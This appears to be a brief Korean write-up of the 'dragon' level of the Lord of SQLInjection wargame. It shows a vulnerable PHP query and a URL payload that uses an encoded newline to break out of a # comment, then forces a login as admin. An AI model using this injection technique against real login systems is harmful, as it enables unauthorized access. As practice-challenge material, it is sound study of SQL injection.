> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-dragon.md).
# \[Lord Of SQLInjection] dragon
```
$query = "select id from prob_dragon where id='guest' # and pw='{$_GET[pw]}'";
```
→ 여기서 #은 한 줄만 주석으로 친다.
⇒ 줄을 바꿔주고 query를 작성하면 주석처리가 적용되지 않는다.
```
[도메인 값]?pw=%0a and pw='' or id='admin
```
→ %0a로 줄바꿈 처리
→ pw를 =’’로 재정의
→ 그 후 or을 이용해 id=’admin으로 지정해준다.
---
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